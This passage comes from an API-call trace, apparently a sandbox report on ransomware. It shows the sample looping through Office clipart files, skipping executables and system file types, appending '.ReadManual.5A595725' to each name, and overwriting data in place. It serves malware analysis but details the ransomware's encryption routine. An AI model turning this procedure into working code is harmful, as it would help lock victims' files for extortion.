lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38099759289) returned 1 [0260.329] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 0x20 [0260.329] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.329] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2756) returned 1 [0260.329] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac4, lpName=0x0) returned 0x184 [0260.329] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.330] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.330] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.331] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.331] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac4) returned 0x2f0000 [0260.332] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.332] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38100033946) returned 1 [0260.332] CloseHandle (hObject=0x184) returned 1 [0260.332] SetSecurityInfo () returned 0x57 [0260.332] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.332] CloseHandle (hObject=0x194) returned 1 [0260.332] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0260.332] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01545_.WMF" | out: lpString1="AN01545_.WMF") returned="AN01545_.WMF" [0260.332] lstrcmpiW (lpString1="AN01545_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.332] StrStrIW (lpFirst="AN01545_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.332] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.332] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.333] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.333] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" [0260.333] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ReadManual.5A595725" [0260.333] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.ReadManual.5A595725") returned 87 [0260.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38100174401) returned 1 [0260.333] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 0x20 [0260.333] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.333] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7372) returned 1 [0260.333] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ccc, lpName=0x0) returned 0x184 [0260.333] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.334] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.334] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.335] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ccc) returned 0x2f0000 [0260.336] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38100443448) returned 1 [0260.336] CloseHandle (hObject=0x184) returned 1 [0260.336] SetSecurityInfo () returned 0x57 [0260.336] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.336] CloseHandle (hObject=0x194) returned 1 [0260.336] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0260.336] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN02122_.WMF" | out: lpString1="AN02122_.WMF") returned="AN02122_.WMF" [0260.337] lstrcmpiW (lpString1="AN02122_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.337] StrStrIW (lpFirst="AN02122_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.337] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.337] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.337] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" [0260.337] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ReadManual.5A595725" [0260.337] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.ReadManual.5A595725") returned 87 [0260.337] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38100587616) returned 1 [0260.337] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0260.338] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.338] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7540) returned 1 [0260.338] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d74, lpName=0x0) returned 0x184 [0260.338] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.339] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.339] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.340] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.340] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d74) returned 0x2f0000 [0260.341] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.341] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38100942201) returned 1 [0260.341] CloseHandle (hObject=0x184) returned 1 [0260.341] SetSecurityInfo () returned 0x57 [0260.341] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.341] CloseHandle (hObject=0x194) returned 1 [0260.342] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0260.342] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN02559_.WMF" | out: lpString1="AN02559_.WMF") returned="AN02559_.WMF" [0260.342] lstrcmpiW (lpString1="AN02559_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.342] StrStrIW (lpFirst="AN02559_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.342] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.342] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.342] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" [0260.342] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ReadManual.5A595725" [0260.342] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.ReadManual.5A595725") returned 87 [0260.342] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38101094578) returned 1 [0260.342] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0260.342] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.343] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6632) returned 1 [0260.343] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19e8, lpName=0x0) returned 0x184 [0260.343] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.343] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.343] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.345] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.345] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19e8) returned 0x2f0000 [0260.345] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38101388753) returned 1 [0260.345] CloseHandle (hObject=0x184) returned 1 [0260.345] SetSecurityInfo () returned 0x57 [0260.345] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.345] CloseHandle (hObject=0x194) returned 1 [0260.346] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0260.346] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN02724_.WMF" | out: lpString1="AN02724_.WMF") returned="AN02724_.WMF" [0260.346] lstrcmpiW (lpString1="AN02724_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.346] StrStrIW (lpFirst="AN02724_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.346] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.346] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.346] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" [0260.346] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ReadManual.5A595725" [0260.347] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.ReadManual.5A595725") returned 87 [0260.347] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38101531227) returned 1 [0260.347] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0260.347] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.347] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2108) returned 1 [0260.347] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x83c, lpName=0x0) returned 0x184 [0260.348] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.348] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.348] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.350] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.350] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x83c) returned 0x2f0000 [0260.350] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38101901394) returned 1 [0260.350] CloseHandle (hObject=0x184) returned 1 [0260.350] SetSecurityInfo () returned 0x57 [0260.350] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.350] CloseHandle (hObject=0x194) returned 1 [0260.351] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0260.351] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN03500_.WMF" | out: lpString1="AN03500_.WMF") returned="AN03500_.WMF" [0260.351] lstrcmpiW (lpString1="AN03500_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.351] StrStrIW (lpFirst="AN03500_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.351] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.351] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.352] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.352] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.352] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.352] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.352] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" [0260.352] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ReadManual.5A595725" [0260.352] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.ReadManual.5A595725") returned 87 [0260.352] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38102049531) returned 1 [0260.352] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0260.352] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.352] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9240) returned 1 [0260.352] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2418, lpName=0x0) returned 0x184 [0260.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.353] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.353] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.355] WriteFile (in: hFile=0x194, 